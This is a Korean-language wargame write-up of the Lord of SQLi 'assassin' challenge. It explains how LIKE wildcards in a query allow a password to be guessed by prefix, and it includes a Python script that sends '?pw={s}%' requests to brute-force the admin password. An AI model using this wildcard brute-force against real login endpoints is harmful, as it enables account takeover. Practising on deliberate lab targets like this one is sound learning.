해당 문제의 입력 파라미터는 pw 뿐이며, '를 필터링하고 있다.
또한 쿼리문을 보니, '' 안에 입력값이 들어가서 문제 해결에 어려움이 있을 것 같다.

 

결국 몇시간을 시도한 끝에 다른 사람의 문제풀이를 살펴보니 쿼리문에서 =를 대신 LIKE를 사용한 이유가 있었다.
LIKE에선 약간의 정규식을 사용할 수 있다.

  • 특정 문자% : 특정 문자로 시작
  • %특정 문자 : 특정 문자로 끝남
  • %특정 문자% : 특정 문자을 포함

위를 이용하여 pw를 찾으면 된다.

 

import requests, string, itertools

url = 'https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php'
headers = {'Cookie': 'PHPSESSID=mm982osuke85at52o0625bnkud'}

def pwParser():
    for s in string.ascii_lowercase + string.digits + string.punctuation:
        parameter = f"?pw={s}%"
        res = requests.get(url + parameter, headers=headers)

        if 'Hello admin' in res.text:
            print('parsing!!! >', s)
            break

pwParser()

파이썬으로 돌려보니 걸리는 것이 없었다.

 

그래서 혹시 admin과 guest의 pw 값의 앞부분이 같아서 Hello guest로 떠서 그런거 아닌가 하여, 조건문을 Hello guest로 변경하니 값이 나왔다.
이를 이용하여 admin의 pw를 구하려고 했지만, 파이썬으로 구현하는건 시간 소모가 크다고 생각하여 손으로 순수 값을 매칭시켰다.

 

몇 번 반복하니, admin의 pw 앞부분을 찾을 수 있었다.

복사했습니다!